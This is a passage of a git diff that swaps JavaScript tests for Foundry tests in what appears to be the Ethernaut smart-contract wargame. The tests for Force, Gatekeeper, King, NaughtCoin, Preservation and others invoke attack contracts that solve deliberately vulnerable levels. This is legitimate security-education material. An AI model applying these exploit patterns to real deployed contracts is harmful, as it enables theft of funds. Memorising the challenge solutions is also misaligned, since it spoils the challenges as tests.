player, - to: instance.address, - value: web3.utils.toWei('0.001', 'ether'), - }); - assert.equal(player, await instance.owner()); - - await instance.withdraw({ from: player }); - assert.equal(0, await utils.getBalance(web3, instance.address)); - // Factory check - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts/test/levels/Force.t.sol b/contracts/test/levels/Force.t.sol new file mode 100644 index 000000000..f1f3f14b5 --- /dev/null +++ b/contracts/test/levels/Force.t.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Force} from "src/levels/Force.sol"; +import {ForceFactory} from "src/levels/ForceFactory.sol"; +import {ForceAttack} from "src/attacks/ForceAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestForce is Test, Utils { + Ethernaut ethernaut; + Force instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + ForceFactory factory = new ForceFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Force(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + ForceAttack attacker = new ForceAttack{value: 1}(); + attacker.attack(payable(address(instance))); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Force.test.js b/contracts/test/levels/Force.test.js deleted file mode 100644 index d54f4f62f..000000000 --- a/contracts/test/levels/Force.test.js +++ /dev/null @@ -1,75 +0,0 @@ -const ForceFactory = artifacts.require('./levels/ForceFactory.sol'); -const ForceAttack = artifacts.require('./attacks/ForceAttack.sol'); -const Force = artifacts.require('./levels/Force.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Force', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await ForceFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Force - ); - - // Check init balances - let balance = await utils.getBalance(web3, instance.address); - //console.log(`init instance balance: ${balance}`) - assert.equal(balance, 0); - - // Sending funds should not work - await expectRevert.unspecified( - web3.eth.sendTransaction({ - from: player, - to: instance.address, - value: web3.utils.toWei('0.01', 'ether'), - }) - ); - - balance = await utils.getBalance(web3, instance.address); - //console.log(`instance balance: ${balance}`) - assert.equal(balance, 0); - - // Attack - const attacker = await ForceAttack.new({ - from: player, - value: web3.utils.toWei('0.01', 'ether'), - }); - await attacker.attack(instance.address); - - // Check init balances - balance = await utils.getBalance(web3, instance.address); - //console.log(`post instance balance: ${balance}`) - assert.notEqual(balance, 0); - - // Check win. - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts/test/levels/Gatekeeper.test.js b/contracts/test/levels/Gatekeeper.test.js deleted file mode 100644 index 939bc8601..000000000 --- a/contracts/test/levels/Gatekeeper.test.js +++ /dev/null @@ -1,128 +0,0 @@ -const GatekeeperOneFactory = artifacts.require( - './levels/GatekeeperOneFactory.sol' -); -const GatekeeperTwoFactory = artifacts.require( - './levels/GatekeeperTwoFactory.sol' -); -const GatekeeperOne = artifacts.require('./levels/GatekeeperOne.sol'); -const GatekeeperTwo = artifacts.require('./levels/GatekeeperTwo.sol'); -const GatekeeperOneAttack = artifacts.require( - './attacks/GatekeeperOneAttack.sol' -); -const GatekeeperTwoAttack = artifacts.require( - './attacks/GatekeeperTwoAttack.sol' -); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('GatekeeperOne', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await GatekeeperOneFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player didnt solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - GatekeeperOne - ); - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - GatekeeperOne - ); - - const attacker = await GatekeeperOneAttack.new(instance.address, { - from: player, - }); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); - -contract('GatekeeperTwo', function (accounts) { - let ethernaut; - let level; - let player = accounts[0]; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await GatekeeperTwoFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player didnt solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - GatekeeperTwo - ); - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - GatekeeperTwo - ); - - const attacker = await GatekeeperTwoAttack.new(instance.address, { - from: player, - }); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/levels/GatekeeperOne.t.sol b/contracts/test/levels/GatekeeperOne.t.sol new file mode 100644 index 000000000..c19f14330 --- /dev/null +++ b/contracts/test/levels/GatekeeperOne.t.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {GatekeeperOne} from "src/levels/GatekeeperOne.sol"; +import {GatekeeperOneFactory} from "src/levels/GatekeeperOneFactory.sol"; +import {GatekeeperOneAttack} from "src/attacks/GatekeeperOneAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestGatekeeperOne is Test, Utils { + Ethernaut ethernaut; + GatekeeperOne instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + GatekeeperOneFactory factory = new GatekeeperOneFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = GatekeeperOne(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.prank(player, player); + GatekeeperOneAttack attacker = new GatekeeperOneAttack(address(instance)); + + vm.prank(player); + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/GatekeeperTwo.t.sol b/contracts/test/levels/GatekeeperTwo.t.sol new file mode 100644 index 000000000..d63a472cd --- /dev/null +++ b/contracts/test/levels/GatekeeperTwo.t.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {GatekeeperTwo} from "src/levels/GatekeeperTwo.sol"; +import {GatekeeperTwoFactory} from "src/levels/GatekeeperTwoFactory.sol"; +import {GatekeeperTwoAttack} from "src/attacks/GatekeeperTwoAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestGatekeeperTwo is Test, Utils { + Ethernaut ethernaut; + GatekeeperTwo instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + GatekeeperTwoFactory factory = new GatekeeperTwoFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = GatekeeperTwo(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.prank(player, player); + GatekeeperTwoAttack attacker = new GatekeeperTwoAttack(address(instance)); + + vm.startPrank(player); + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/GoodSamaritan.t.sol b/contracts/test/levels/GoodSamaritan.t.sol new file mode 100644 index 000000000..6fcca2722 --- /dev/null +++ b/contracts/test/levels/GoodSamaritan.t.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {GoodSamaritan} from "src/levels/GoodSamaritan.sol"; +import {GoodSamaritanFactory} from "src/levels/GoodSamaritanFactory.sol"; +import {GoodSamaritanAttack} from "src/attacks/GoodSamaritanAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestGoodSamaritan is Test, Utils { + Ethernaut ethernaut; + GoodSamaritan instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + GoodSamaritanFactory factory = new GoodSamaritanFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = GoodSamaritan(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + instance.requestDonation(); + + GoodSamaritanAttack attacker = new GoodSamaritanAttack(address(instance)); + attacker.attack(); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/GoodSamaritan.test.js b/contracts/test/levels/GoodSamaritan.test.js deleted file mode 100644 index 3aa5eebb2..000000000 --- a/contracts/test/levels/GoodSamaritan.test.js +++ /dev/null @@ -1,79 +0,0 @@ -const GoodSamaritanFactory = artifacts.require('GoodSamaritanFactory'); -const GoodSamaritan = artifacts.require('GoodSamaritan'); -const Wallet = artifacts.require('Wallet'); -const Coin = artifacts.require('Coin'); -const GoodSamaritanAttack = artifacts.require('GoodSamaritanAttack'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('GoodSamaritan', function (accounts) { - let ethernaut; - let level; - let player = accounts[0]; - let instance; - let statproxy; - - beforeEach(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await GoodSamaritanFactory.new(); - await ethernaut.registerLevel(level.address); - - instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - GoodSamaritan, - { from: player } - ); - }); - - it('should fail if the player didnt solve the level', async function () { - // Factory check (should fail) - let completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.equal(completed, false); - }); - - it('should allow the player to solve the level', async function () { - let coin = await Coin.at(await instance.coin()); - let wallet = await Wallet.at(await instance.wallet()); - let attacker = await GoodSamaritanAttack.new(instance.address); - - // Init checks - assert.equal(await wallet.coin(), coin.address); - assert.equal(await coin.balances(wallet.address), 10 ** 6); - assert.equal(await coin.balances(player), 0); - - // Ensure that players can requestDonation - await instance.requestDonation({ from: player }); - - assert.equal( - (await coin.balances(wallet.address)).toNumber(), - 10 ** 6 - 10 - ); - assert.equal(await coin.balances(player), 10); - - // Ensure that players can hack the contract - await attacker.attack(); - - assert.equal((await coin.balances(wallet.address)).toNumber(), 0); - assert.equal(await coin.balances(attacker.address), 10 ** 6 - 10); - - // Factory check (should pass) - completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.equal(completed, true); - }); -}); diff --git a/contracts/test/levels/King.t.sol b/contracts/test/levels/King.t.sol new file mode 100644 index 000000000..4be551096 --- /dev/null +++ b/contracts/test/levels/King.t.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {King} from "src/levels/King.sol"; +import {KingFactory} from "src/levels/KingFactory.sol"; +import {KingAttack} from "src/attacks/KingAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestKing is Test, Utils { + Ethernaut ethernaut; + King instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + KingFactory factory = new KingFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = King(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + KingAttack attacker = new KingAttack(); + attacker.doYourThing{value: 2.01 ether}(address(instance)); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/King.test.js b/contracts/test/levels/King.test.js deleted file mode 100644 index 84be00b05..000000000 --- a/contracts/test/levels/King.test.js +++ /dev/null @@ -1,104 +0,0 @@ -const KingFactory = artifacts.require('./levels/KingFactory.sol'); -const King = artifacts.require('./attacks/King.sol'); -const KingAttack = artifacts.require('./attacks/KingAttack.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('King', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await KingFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - King, - { from: player, value: web3.utils.toWei('0.001', 'ether') } - ); - - // Init checks - assert.equal(await instance._king(), level.address); - assert.equal( - web3.utils.fromWei(await instance.prize()).toString(), - '0.001' - ); - //console.log('king:', await instance._king()) - //console.log('prize:', web3.utils.fromWei(await instance.prize()).toString()) - - // Ensure that players can become king - //console.log('new king...') - await web3.eth.sendTransaction({ - from: accounts[1], - to: instance.address, - value: web3.utils.toWei('2', 'ether'), - }); - //console.log('king:', await instance._king()); - //console.log('prize:', web3.utils.fromWei(await instance.prize()).toString()) - assert.equal(web3.utils.fromWei(await instance.prize()).toString(), '2'); - assert.equal(await instance._king(), accounts[1]); - - // Ensure that players dont become king if they dont meet the prize - //console.log('failed claim...') - await expectRevert.unspecified( - web3.eth.sendTransaction({ - from: accounts[2], - to: instance.address, - value: web3.utils.toWei('0.1', 'ether'), - }) - ); - //console.log('king:', await instance._king()); - //console.log('prize:', web3.utils.fromWei(await instance.prize()).toString()) - assert.equal(web3.utils.fromWei(await instance.prize()).toString(), '2'); - assert.equal(await instance._king(), accounts[1]); - - // Factory check (should fail) - // NOTE: Factory check makes the level become the king, - // player wins when the factory is not able to do this. - //console.log('Check complete (should fail)...') - let completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - //console.log('completed:', completed) - assert.equal(completed, false); - assert.equal(await instance._king(), level.address); - - // Attack - const attackerFunds = '2.01'; - const attacker = await KingAttack.new(); - await attacker.doYourThing(instance.address, { - value: web3.utils.toWei(attackerFunds, 'ether'), - }); - - // Factory check (should pass) - //console.log('Check complete (should pass)...') - completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - //console.log('completed:', completed) - assert.equal(completed, true); - }); -}); diff --git a/contracts/test/levels/MagicNum.t.sol b/contracts/test/levels/MagicNum.t.sol new file mode 100644 index 000000000..ab10c39a7 --- /dev/null +++ b/contracts/test/levels/MagicNum.t.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {MagicNum} from "src/levels/MagicNum.sol"; +import {MagicNumFactory} from "src/levels/MagicNumFactory.sol"; +import {MagicNumBadSolver} from "src/attacks/MagicNumBadSolver.sol"; +import {MagicNumSolver} from "src/attacks/MagicNumSolver.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestMagicNum is Test, Utils { + Ethernaut ethernaut; + MagicNum instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + MagicNumFactory factory = new MagicNumFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = MagicNum(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + MagicNumBadSolver badSolver = new MagicNumBadSolver(); + instance.setSolver(address(badSolver)); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + MagicNumSolver solver = new MagicNumSolver(); + instance.setSolver(address(solver)); + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/MagicNum.test.js b/contracts/test/levels/MagicNum.test.js deleted file mode 100644 index be59022cb..000000000 --- a/contracts/test/levels/MagicNum.test.js +++ /dev/null @@ -1,67 +0,0 @@ -const MagicNumFactory = artifacts.require('./levels/MagicNumFactory.sol'); -const MagicNum = artifacts.require('./levels/MagicNum.sol'); -const MagicNumSolver = artifacts.require('./attacks/MagicNumSolver.sol'); -const MagicNumBadSolver = artifacts.require('./attacks/MagicNumBadSolver.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('MagicNum', function (accounts) { - let ethernaut; - let level; - let instance; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await MagicNumFactory.new(); - await ethernaut.registerLevel(level.address); - instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - MagicNum, - { from: player } - ); - }); - - describe('instance', function () { - it('should not be solvable with a contract created regularly', async function () { - const badSolver = await MagicNumBadSolver.new(); - - await instance.setSolver(badSolver.address); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should be solvable with a manually constructed contract', async function () { - const solver = await MagicNumSolver.new(); - - await instance.setSolver(solver.address); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); - }); -}); diff --git a/contracts/test/levels/NaughtCoin.t.sol b/contracts/test/levels/NaughtCoin.t.sol new file mode 100644 index 000000000..839a09c48 --- /dev/null +++ b/contracts/test/levels/NaughtCoin.t.sol @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {NaughtCoin} from "src/levels/NaughtCoin.sol"; +import {NaughtCoinFactory} from "src/levels/NaughtCoinFactory.sol"; +import {NaughtCoinAttack} from "src/attacks/NaughtCoinAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestNaughtCoin is Test, Utils { + Ethernaut ethernaut; + NaughtCoin instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + NaughtCoinFactory factory = new NaughtCoinFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = NaughtCoin(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + NaughtCoinAttack attacker = new NaughtCoinAttack(); + instance.approve(address(attacker), instance.balanceOf(player)); + attacker.attack(address(instance), player); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/NaughtCoin.test.js b/contracts/test/levels/NaughtCoin.test.js deleted file mode 100644 index e081e52c4..000000000 --- a/contracts/test/levels/NaughtCoin.test.js +++ /dev/null @@ -1,71 +0,0 @@ -const NaughtCoin = artifacts.require('./levels/NaughtCoin.sol'); -const NaughtCoinFactory = artifacts.require('./levels/NaughtCoinFactory.sol'); -const NaughtCoinAttack = artifacts.require('./attacks/NaughtCoinAttack.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('NaughtCoin', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await NaughtCoinFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player did not solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - NaughtCoin - ); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - NaughtCoin - ); - const attacker = await NaughtCoinAttack.new(); - - // Allow the contract to call transfer tokens on your behalf, transferFrom has a different implementation to transfer, so it will be allowed - let balance = await instance.balanceOf(player); - await instance.approve(attacker.address, balance); - - // Transfer the tokens out - await attacker.attack(instance.address, player); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/levels/Preservation.t.sol b/contracts/test/levels/Preservation.t.sol new file mode 100644 index 000000000..59d7e5aa5 --- /dev/null +++ b/contracts/test/levels/Preservation.t.sol @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Preservation} from "src/levels/Preservation.sol"; +import {PreservationFactory} from "src/levels/PreservationFactory.sol"; +import {PreservationAttack} from "src/attacks/PreservationAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestPreservation is Test, Utils { + Ethernaut ethernaut; + Preservation instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + PreservationFactory factory = new PreservationFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Preservation(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + PreservationAttack attacker = new PreservationAttack(); + instance.setFirstTime(uint256(uint160(address(attacker)))); + instance.setFirstTime(uint256(uint160(address(player)))); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Preservation.test.js b/contracts/test/levels/Preservation.test.js deleted file mode 100644 index 1eaf9b1ab..000000000 --- a/contracts/test/levels/Preservation.test.js +++ /dev/null @@ -1,87 +0,0 @@ -const PreservationFactory = artifacts.require( - './levels/PreservationFactory.sol' -); -const Preservation = artifacts.require('./levels/Preservation.sol'); -const PreservationAttack = artifacts.require( - './attacks/PreservationAttack.sol' -); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Preservation', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let instance = undefined; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await PreservationFactory.new(); - await ethernaut.registerLevel(level.address); - instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Preservation - ); - }); - - it('should not be immediately solveable', async function () { - // Factory check - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, false); - }); - - it('the second function should always be able to modify state, regardless of user input', async function () { - // send some random times - await instance.setFirstTime(26); - await instance.setSecondTime((1e20).toString()); - - // the second should be fine - let firstLibraryAddress = await instance.timeZone1Library.call(); - await instance.setSecondTime(1); - let adjustedAddress = await instance.timeZone1Library.call(); - assert(firstLibraryAddress != adjustedAddress); - assert.equal(adjustedAddress, 1); - }); - - it('the level should be solveable', async function () { - const AttackContract = await PreservationAttack.new(); - // convert the address to a uint - let attackAddressNumber = new BN(AttackContract.address, 16); - // set the attack contract as the first time library - await instance.setSecondTime(attackAddressNumber); - // set the player address to an integer - let playerAddressNumber = new BN(player, 16); - // set the player as the owner - await instance.setFirstTime(playerAddressNumber); - - // Player should own the instance now - owner = await instance.owner.call(); - assert.equal(owner, player); - - // Factory check - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts/test/levels/Privacy.t.sol b/contracts/test/levels/Privacy.t.sol new file mode 100644 index 000000000..999ef7370 --- /dev/null +++ b/contracts/test/levels/Privacy.t.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Privacy} from "src/levels/Privacy.sol"; +import {PrivacyFactory} from "src/levels/PrivacyFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + 